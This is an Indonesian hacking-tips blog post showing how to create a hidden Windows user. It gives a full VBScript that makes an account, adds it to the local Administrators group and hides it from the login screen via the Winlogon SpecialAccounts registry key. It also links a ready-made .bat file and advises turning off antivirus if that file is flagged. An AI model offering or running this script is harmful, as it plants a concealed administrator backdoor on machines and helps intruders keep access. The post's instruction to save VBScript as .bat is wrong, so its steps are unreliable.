Cara membuat Hidden User di Windows

Hacking Software Tips dan Trik

Penasaran gimana caranya buat hidden user di Windows..??

kali ini gue bagi ilmunya

yg mau instan, klik ini Lephex.bat (matiin AntiVirus kalo filenya d anggap virus)

yg mau belajar ke sini

ketik ini di notepad

======================

On Error Resume Next

Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000

Set wshNetwork = WScript.CreateObject( "WScript.Network" )

strComputer = wshNetwork.ComputerName

'<<<>>>>>>>

strPassword = "PASSWORD_ANDA"

strUser="USERNAM_ANDA"

Set colAccounts = GetObject("WinNT://" & strComputer)

Set objUser = colAccounts.Create("user", strUser)

objUser.SetPassword strPassword

objUser.SetInfo

Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)

If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD Then

objUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWD

End If

objUser.SetInfo

'Add user to Local Administrators Group

Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")

objGroup.Add(objUser.ADsPath)

'Hide User Account

HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set ObjRegistry = _

GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _

& strComputer & "\root\default:StdRegProv")

strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"

Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)

Set oReg=GetObject( _

"winmgmts:{impersonationLevel=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"

oReg.SetDWORDValue _

HKEY_LOCAL_MACHINE,strKeyPath,strUser,0

WScript.Echo "Username Created"

WScript.Quit

======================

edit strPassword dan strUser

save dengan extensi *.bat

source : cyber4rt

Bagikan

Jangan lewatkan

Cara membuat Hidden User di Windows

4/ 5

Oleh Lephex +_+

Lephex +_+ 4 Komentar